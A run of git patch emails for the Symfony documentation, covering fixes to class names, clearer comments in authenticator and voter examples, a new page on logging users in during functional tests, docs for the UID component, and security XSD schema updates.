-:class:`Symfony\\Component\\Messenger\\Transport\\AmqpExt\\AmqpStamp` to
+:class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
 
     use Symfony\Component\Messenger\Bridge\Amqp\Transport\AmqpStamp;

From 379026d376ce858eeee4e1908dae749d626efac5 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 22 Mar 2020 18:28:41 +0100
Subject: [PATCH 0525/7107] Update notifier.rst

Fix NotificationEmail link
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1ec59b14838..c90df3fa1a9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -179,7 +179,7 @@ Email Channel
 
 The email channel uses the :doc:`Symfony Mailer </mailer>` to send
 notifications using the special
-:class:`Symfony\\Bridge\\TwigBridge\\Mime\\NotificationEmail`. It is
+:class:`Symfony\\Bridge\\Twig\\Mime\\NotificationEmail`. It is
 required to install the Twig bridge along with the Inky and CSS Inliner
 Twig extensions:
 

From e237579cb215efb0fc9ef2aeed5ad5c91ee4ee8d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 23 Mar 2020 11:15:17 +0100
Subject: [PATCH 0526/7107] Update guard_authentication.rst

Minor clarification
---
 security/guard_authentication.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 6f050885c96..4b2aa8681b5 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -118,10 +118,10 @@ This requires you to implement several methods::
 
         public function checkCredentials($credentials, UserInterface $user)
         {
-            // check credentials - e.g. make sure the password is valid
-            // no credential check is needed in this case
+            // Check credentials - e.g. make sure the password is valid.
+            // In case of an API token, no credential check is needed.
 
-            // return true to cause authentication success
+            // Return `true` to cause authentication success
             return true;
         }
 

From 4fcc154f0f3cb229d00c8d4edf13783fa160157e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 22 Mar 2020 14:52:30 +0100
Subject: [PATCH 0527/7107] Update guard_authentication.rst

---
 security/guard_authentication.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 4ccb4c3737b..f87f74b1a37 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -174,7 +174,7 @@ This requires you to implement several methods::
     {
         /**
          * Called on every request to decide if this authenticator should be
-         * used for the request. Returning false will cause this authenticator
+         * used for the request. Returning `false` will cause this authenticator
          * to be skipped.
          */
         public function supports(Request $request)
@@ -194,7 +194,8 @@ This requires you to implement several methods::
         public function getUser($credentials, UserProviderInterface $userProvider)
         {
             if (null === $credentials) {
-                // The token header was empty, authentication fails with 401
+                // The token header was empty, authentication fails with HTTP Status
+                // Code 401 "Unauthorized"
                 return null;
             }
 
@@ -220,7 +221,7 @@ This requires you to implement several methods::
         public function onAuthenticationFailure(Request $request, AuthenticationException $exception)
         {
             $data = [
-                // you may ant to customize or obfuscate the message first
+                // you may want to customize or obfuscate the message first
                 'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
 
                 // or to translate this message

From cda5d3a3916591b5cddab8ae2985a43df9ec3597 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 23 Mar 2020 12:47:30 +0100
Subject: [PATCH 0528/7107] Update guard_authentication.rst

Removing "This will be called on *every* request" from `getCredentials()`, since it's only called if `supports()` returns `true`.
---
 security/guard_authentication.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index f87f74b1a37..371782cfaa4 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -370,7 +370,7 @@ The Guard Authenticator Methods
 Each authenticator needs the following methods:
 
 **supports(Request $request)**
-    This will be called on *every* request and your job is to decide if the
+    This is called on *every* request and your job is to decide if the
     authenticator should be used for this request (return ``true``) or if it
     should be skipped (return ``false``).
 
@@ -381,9 +381,8 @@ Each authenticator needs the following methods:
         ``getCredentials()`` method.
 
 **getCredentials(Request $request)**
-    This will be called on *every* request and your job is to read the token (or
-    whatever your "authentication" information is) from the request and return it.
-    These credentials are later passed as the first argument of ``getUser()``.
+    Your job is to read the token (or whatever your "authentication" information is)
+    from the request and return it. These credentials are passed to ``getUser()``.
 
 **getUser($credentials, UserProviderInterface $userProvider)**
     The ``$credentials`` argument is the value returned by ``getCredentials()``.

From a9f63e3e78149b63033a6d46c4ed285841dd955d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Mar 2020 13:31:38 +0100
Subject: [PATCH 0529/7107] Tweaks

---
 _build/redirection_map          |   1 -
 testing.rst                     |   2 +
 testing/http_authentication.rst | 136 ++++++++++++++++++++++++++++++++
 3 files changed, 138 insertions(+), 1 deletion(-)
 create mode 100644 testing/http_authentication.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index beced7cb3b7..e446f199ff9 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -480,4 +480,3 @@
 /components/translation/custom_formats https://github.com/symfony/translation
 /components/translation/custom_message_formatter https://github.com/symfony/translation
 /components/notifier https://github.com/symfony/notifier
-/testing/http_authentication /testing
diff --git a/testing.rst b/testing.rst
index 7f6f18f2261..25d89b3bc55 100644
--- a/testing.rst
+++ b/testing.rst
@@ -567,6 +567,8 @@ command.
     If the information you need to check is available from the profiler, use
     it instead.
 
+.. _testing_logging_in_users:
+
 Logging in Users (Authentication)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
new file mode 100644
index 00000000000..f96937ed2be
--- /dev/null
+++ b/testing/http_authentication.rst
@@ -0,0 +1,136 @@
+.. index::
+   single: Tests; HTTP authentication
+
+How to Simulate HTTP Authentication in a Functional Test
+========================================================
+
+.. caution::
+
+    Starting from Symfony 5.1, the methods explained in this article are no
+    longer recommended to logging in users in your tests. Instead, use
+    :ref:`the loginUser() method <testing_logging_in_users>`.
+
+Authenticating requests in functional tests can slow down the entire test suite.
+This could become an issue especially when the tests reproduce the same steps
+that users follow to authenticate, such as submitting a login form or using
+OAuth authentication services.
+
+This article explains the two most popular techniques to avoid these issues and
+create fast tests when using authentication.
+
+Using a Faster Authentication Mechanism Only for Tests
+------------------------------------------------------
+
+When your application is using a ``form_login`` authentication, you can make
+your tests faster by allowing them to use HTTP authentication. This way your
+tests authenticate with the simple and fast HTTP Basic method whilst your real
+users still log in via the normal login form.
+
+The trick is to use the ``http_basic`` authentication in your application
+firewall, but only in the configuration file used by tests:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/test/security.yaml
+        security:
+            firewalls:
+                # replace 'main' by the name of your own firewall
+                main:
+                    http_basic: ~
+
+    .. code-block:: xml
+
+        <!-- config/packages/test/security.xml -->
+        <security:config>
+            <!-- replace 'main' by the name of your own firewall -->
+            <security:firewall name="main">
+                <security:http-basic/>
+            </security:firewall>
+        </security:config>
+
+    .. code-block:: php
+
+        // config/packages/test/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                // replace 'main' by the name of your own firewall
+                'main' => [
+                    'http_basic' => [],
+                ],
+            ],
+        ]);
+
+Tests can now authenticate via HTTP passing the username and password as server
+variables using the second argument of ``createClient()``::
+
+    $client = static::createClient([], [
+        'PHP_AUTH_USER' => 'username',
+        'PHP_AUTH_PW'   => 'pa$$word',
+    ]);
+
+The username and password can also be passed on a per request basis::
+
+    $client->request('DELETE', '/post/12', [], [], [
+        'PHP_AUTH_USER' => 'username',
+        'PHP_AUTH_PW'   => 'pa$$word',
+    ]);
+
+Creating the Authentication Token
+---------------------------------
+
+If your application uses a more advanced authentication mechanism, you can't
+use the previous trick, but it's still possible to make tests faster. The trick
+now is to bypass the authentication process, create the *authentication token*
+yourself and store it in the session.
+
+This technique requires some knowledge of the Security component internals,
+but the following example shows a complete example that you can adapt to your
+needs::
+
+    // tests/Controller/DefaultControllerTest.php
+    namespace App\Tests\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+    use Symfony\Component\BrowserKit\Cookie;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
+
+    class DefaultControllerTest extends WebTestCase
+    {
+        private $client = null;
+
+        public function setUp()
+        {
+            $this->client = static::createClient();
+        }
+
+        public function testSecuredHello()
+        {
+            $this->logIn();
+            $crawler = $this->client->request('GET', '/admin');
+
+            $this->assertSame(Response::HTTP_OK, $this->client->getResponse()->getStatusCode());
+            $this->assertSame('Admin Dashboard', $crawler->filter('h1')->text());
+        }
+
+        private function logIn()
+        {
+            $session = self::$container->get('session');
+
+            $firewallName = 'secure_area';
+            // if you don't define multiple connected firewalls, the context defaults to the firewall name
+            // See https://symfony.com/doc/current/reference/configuration/security.html#firewall-context
+            $firewallContext = 'secured_area';
+
+            // you may need to use a different token class depending on your application.
+            // for example, when using Guard authentication you must instantiate PostAuthenticationGuardToken
+            $token = new UsernamePasswordToken('admin', null, $firewallName, ['ROLE_ADMIN']);
+            $session->set('_security_'.$firewallContext, serialize($token));
+            $session->save();
+
+            $cookie = new Cookie($session->getName(), $session->getId());
+            $this->client->getCookieJar()->set($cookie);
+        }
+    }

From 8d04a27467019e1dd56ad5d4fbc626b6cbafc4df Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Mar 2020 16:46:25 +0100
Subject: [PATCH 0530/7107] [UID] Added the docs for the component

---
 components/uid.rst | 187 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 187 insertions(+)
 create mode 100644 components/uid.rst

diff --git a/components/uid.rst b/components/uid.rst
new file mode 100644
index 00000000000..94a21955d4b
--- /dev/null
+++ b/components/uid.rst
@@ -0,0 +1,187 @@
+.. index::
+   single: UID
+   single: Components; UID
+
+The UID Component
+=================
+
+    The UID component provides utilities to work with `unique identifiers`_ (UIDs)
+    such as UUIDs and ULIDs.
+
+.. versionadded:: 5.1
+
+    The UID component was introduced in Symfony 5.1 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/uid
+
+.. include:: /components/require_autoload.rst.inc
+
+UUIDs
+-----
+
+`UUIDs`_ (*universally unique identifiers*) are one of the most popular UIDs in
+the software industry. UUIDs are 128-bit numbers usually represented as five
+groups of hexadecimal characters: ``xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx``
+(the ``M`` digit is the UUID version and the ``N`` digit is the UUID variant).
+
+Generating UUIDs
+~~~~~~~~~~~~~~~~
+
+Use the named constructors of the ``Uuid`` class or any of the specific classes
+to create each type of UUID::
+
+    use Symfony\Component\Uid\Uuid;
+
+    // UUID type 1 generates the UUID using the MAC address of your device and a timestamp.
+    // Both are obtained automatically, so you don't have to pass any constructor argument.
+    $uuid = Uuid::v1(); // $uuid is an instance of Symfony\Component\Uid\UuidV1
+
+    // UUID type 4 generates a random UUID, so you don't have to pass any constructor argument.
+    $uuid = Uuid::v4(); // $uuid is an instance of Symfony\Component\Uid\UuidV4
+
+    // UUID type 3 and 5 generate a UUID hashing the given namespace and name. Type 3 uses
+    // MD5 hashes and Type 5 uses SHA-1. The namespace is another UUID (e.g. a Type 4 UUID)
+    // and the name is an arbitrary string (e.g. a product name; if it's unique).
+    $namespace = Uuid::v4();
+    $name = $product->getUniqueName();
+
+    $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
+    $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
+
+    // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
+    // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
+    // It's defined in http://gh.peabody.io/uuidv6/
+    $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
+
+If your UUID is generated by another system, use the ``fromString()`` method to
+create an object and make use of the utilities available for Symfony UUIDs::
+
+    // this value is generated somewhere else
+    $uuidValue = 'd9e7a184-5d5b-11ea-a62a-3499710062d0';
+    $uuid = Uuid::fromString($uuidValue);
+
+If your UUIDs are generated in binary format, use the ``fromBinary()`` method
+to create the objects for them::
+
+    $uuid = Uuid::fromBinary($uuidBinaryContents);
+
+Converting UUIDs
+~~~~~~~~~~~~~~~~
+
+Use these methods to transform the UUID object into different bases::
+
+    $uuid = new Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+
+    $uuid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
+    $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
+    $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
+
+Working with UUIDs
+~~~~~~~~~~~~~~~~~~
+
+UUID objects created with the ``Uuid`` class can use the following methods
+(which are equivalent to the ``uuid_*()`` method of the PHP extension)::
+
+    use Symfony\Component\Uid\NilUuid;
+    use Symfony\Component\Uid\Uuid;
+
+    // checking if the UUID is null (note that the class is called
+    // NilUuid instead of NullUuid to follow the UUID standard notation)
+    $uuid = Uuid::v4();
+    $uuid instanceof NilUuid; // false
+
+    // checking the type of UUID
+    use Symfony\Component\Uid\UuidV4;
+    $uuid = Uuid::v4();
+    $uuid instanceof UuidV4; // true
+
+    // getting the UUID time (it's only available in certain UUID types)
+    $uuid = Uuid::v1();
+    $uuid->getTime();  // e.g. float(1584111384.2613)
+
+    // comparing UUIDs and checking for equality
+    $uuid1 = Uuid::v1();
+    $uuid4 = Uuid::v4();
+    $uuid1->equals($uuid4); // false
+
+    // this method returns:
+    //   * int(0) if $uuid1 and $uuid4 are equal
+    //   * int > 0 if $uuid1 is greater than $uuid4
+    //   * int < 0 if $uuid1 is less than $uuid4
+    $uuid1->compare($uuid4); // e.g. int(4)
+
+ULIDs
+-----
+
+`ULIDs`_ (*Universally Unique Lexicographically Sortable Identifier*) are 128-bit
+numbers usually represented as a 26-character string: ``TTTTTTTTTTRRRRRRRRRRRRRRRR``
+(where ``T`` represents a timestamp and ``R`` represents the random bits).
+
+ULIDs are an alternative to UUIDs when using those is impractical. They provide
+128-bit compatibility with UUID, they are lexicographically sortable and they
+are encoded as 26-character strings (vs 36-character UUIDs).
+
+Generating ULIDs
+~~~~~~~~~~~~~~~~
+
+Instantiate the ``Ulid`` class to generate a random ULID value::
+
+    use Symfony\Component\Uid\Ulid;
+
+    $ulid = new Ulid();  // e.g. 01AN4Z07BY79KA1307SR9X4MV3
+
+If your UUID is generated by another system, use the ``fromString()`` method to
+create an object and make use of the utilities available for Symfony ULIDs::
+
+    // this value is generated somewhere else
+    $ulidValue = '01E439TP9XJZ9RPFH3T1PYBCR8';
+    $ulid = Ulid::fromString($ulidValue);
+
+If your ULIDs are generated in binary format, use the ``fromBinary()`` method
+to create the objects for them::
+
+    $ulid = Ulid::fromBinary($ulidBinaryContents);
+
+Converting ULIDs
+~~~~~~~~~~~~~~~~
+
+Use these methods to transform the ULID object into different bases::
+
+    $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
+
+    $ulid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
+    $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
+    $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
+
+Working with ULIDs
+~~~~~~~~~~~~~~~~~~
+
+ULID objects created with the ``Ulid`` class can use the following methods::
+
+    use Symfony\Component\Uid\Ulid;
+
+    $ulid1 = new Ulid();
+    $ulid2 = new Ulid();
+
+    // checking if a given value is valid as ULID
+    $isValid = Ulid::isValid($ulidValue); // true or false
+
+    // getting the ULID time
+    $ulid1->getTime(); // e.g. float(1584111384.2613)
+
+    // comparing ULIDs and checking for equality
+    $ulid1->equals($ulid2); // false
+    // this method returns $ulid1 <=> $ulid2
+    $uuid1->compare($uuid4); // e.g. int(-1)
+
+.. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
+.. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
+.. _`ULIDs`: https://github.com/ulid/spec

From 8c1576bc812ce95f7c8fa8ad22c7f8a37d05c682 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 23 Mar 2020 14:13:07 +0100
Subject: [PATCH 0531/7107] Update voters.rst

---
 security/voters.rst | 15 ++++++---------
 1 file changed, 6 insertions(+), 9 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 7d76949f5b6..8fe7070c736 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -125,7 +125,7 @@ would look like this::
                 return false;
             }
 
-            // only vote on Post objects inside this voter
+            // only vote on `Post` objects
             if (!$subject instanceof Post) {
                 return false;
             }
@@ -142,7 +142,7 @@ would look like this::
                 return false;
             }
 
-            // you know $subject is a Post object, thanks to supports
+            // you know $subject is a Post object, thanks to `supports()`
             /** @var Post $post */
             $post = $subject;
 
@@ -163,15 +163,13 @@ would look like this::
                 return true;
             }
 
-            // the Post object could have, for example, a method isPrivate()
-            // that checks a boolean $private property
+            // the Post object could have, for example, a method `isPrivate()`
             return !$post->isPrivate();
         }
 
         private function canEdit(Post $post, User $user)
         {
-            // this assumes that the data object has a getOwner() method
-            // to get the entity of the user who owns this data object
+            // this assumes that the Post object has a `getOwner()` method
             return $user === $post->getOwner();
         }
     }
@@ -271,9 +269,8 @@ voters vote for one action and object. For instance, suppose you have one voter
 checks if the user is a member of the site and a second one that checks if the user
 is older than 18.
 
-To handle these cases, the access decision manager uses an access decision
-strategy. You can configure this to suit your needs. There are three
-strategies available:
+To handle these cases, the access decision manager uses a "strategy" which you can configure.
+There are three strategies available:
 
 ``affirmative`` (default)
     This grants access as soon as there is *one* voter granting access;

From 1003548ee2ca3a4dcd9a222505b845507741af66 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Mar 2020 15:58:10 +0100
Subject: [PATCH 0532/7107] Reword

---
 templates.rst | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/templates.rst b/templates.rst
index 256fa175154..491ea0a149e 100644
--- a/templates.rst
+++ b/templates.rst
@@ -395,6 +395,7 @@ use the ``render()`` helper::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class ProductController extends AbstractController
     {
@@ -402,10 +403,21 @@ use the ``render()`` helper::
         {
             // ...
 
+            // the `render()` method returns a `Response` object with the
+            // contents created by the template
             return $this->render('product/index.html.twig', [
                 'category' => '...',
                 'promotions' => ['...', '...'],
             ]);
+
+            // the `renderView()` method only returns the contents created by the
+            // template, so you can use those contents later in a `Response` object
+            $contents = $this->renderView('product/index.html.twig', [
+                'category' => '...',
+                'promotions' => ['...', '...'],
+            ]);
+
+            return new Response($contents);
         }
     }
 
@@ -446,19 +458,6 @@ the :class:`Twig\\Environment` class::
         }
     }
 
-Rendering a Template's Content
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-The ``renderView()`` method renders a template and returns its content. The content from the template can be used to create a ``Response`` object::
-
-    use Symfony\Component\HttpFoundation\Response;
-    
-    $content = $this->renderView('product/index.html.twig', [
-        'category' => '...',
-        'promotions' => ['...', '...'],
-    );
-    
-    return new Response($content);
-
 Rendering a Template in Emails
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From e85ffe0e0005fb9f3de454fcb5fd9617cdbe8082 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Mar 2020 16:24:28 +0100
Subject: [PATCH 0533/7107] Updatd all security examples to use the new config
 XSD

---
 configuration/env_var_processors.rst        |  4 ++-
 reference/configuration/security.rst        | 12 ++++++--
 security.rst                                | 26 ++++++++++++-----
 security/access_control.rst                 | 20 +++++++++----
 security/auth_providers.rst                 | 15 ++++++++--
 security/custom_authentication_provider.rst |  8 ++++--
 security/firewall_restriction.rst           | 16 ++++++++---
 security/force_https.rst                    |  4 ++-
 security/form_login.rst                     | 32 +++++++++++++++------
 security/form_login_setup.rst               |  8 ++++--
 security/guard_authentication.rst           |  4 ++-
 security/impersonating_user.rst             | 14 ++++++---
 security/json_login_setup.rst               |  8 ++++--
 security/ldap.rst                           | 16 ++++++++---
 security/multiple_guard_authenticators.rst  |  8 ++++--
 security/named_encoders.rst                 | 12 ++++++--
 security/password_migration.rst             |  2 ++
 security/remember_me.rst                    |  8 ++++--
 security/user_checkers.rst                  |  4 ++-
 security/user_provider.rst                  |  8 ++++--
 security/voters.rst                         |  4 ++-
 testing/http_authentication.rst             |  9 ++++++
 22 files changed, 184 insertions(+), 58 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 83eafef37aa..74949c5c2a0 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -163,7 +163,9 @@ Symfony provides the following env var processors:
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:security="http://symfony.com/schema/dic/security"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/security
+                    https://symfony.com/schema/dic/security/security-1.0.xsd">
 
                 <parameters>
                     <parameter key="env(HEALTH_CHECK_METHOD)">Symfony\Component\HttpFoundation\Request::METHOD_HEAD</parameter>
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 92af5e21bd8..1e267437ab9 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -157,7 +157,9 @@ encoding algorithm. Also, each algorithm defines different config options:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -329,7 +331,9 @@ application:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -652,7 +656,9 @@ multiple firewalls, the "context" could actually be shared:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="somename" context="my_context">
diff --git a/security.rst b/security.rst
index 8fbffdf6778..6eb068cb969 100644
--- a/security.rst
+++ b/security.rst
@@ -137,7 +137,9 @@ command will pre-configure this for you:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -253,7 +255,9 @@ important section is ``firewalls``:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="dev"
@@ -455,7 +459,9 @@ start with ``/admin``, you can:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -531,7 +537,9 @@ the list and stops when it finds the first match:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -681,7 +689,7 @@ like this:
 
 * ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
 
-* ``IS_REMEMBERED``: *Only* users authenticated using the 
+* ``IS_REMEMBERED``: *Only* users authenticated using the
   :doc:`remember me functionality </security/remember_me>`, (i.e. a
   remember-me cookie).
 
@@ -806,7 +814,9 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -923,7 +933,9 @@ rules by creating a role hierarchy:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/access_control.rst b/security/access_control.rst
index ae2bee3bf51..edc163e5135 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -53,7 +53,9 @@ Take the following ``access_control`` entries as an example:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -213,7 +215,9 @@ pattern so that it is only accessible by requests from the local server itself:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -300,7 +304,9 @@ key:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -376,7 +382,9 @@ access those URLs via a specific port. This could be useful for example for
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -427,7 +435,9 @@ the user will be redirected to ``https``:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index 69fd0abaaa2..349f16a219a 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
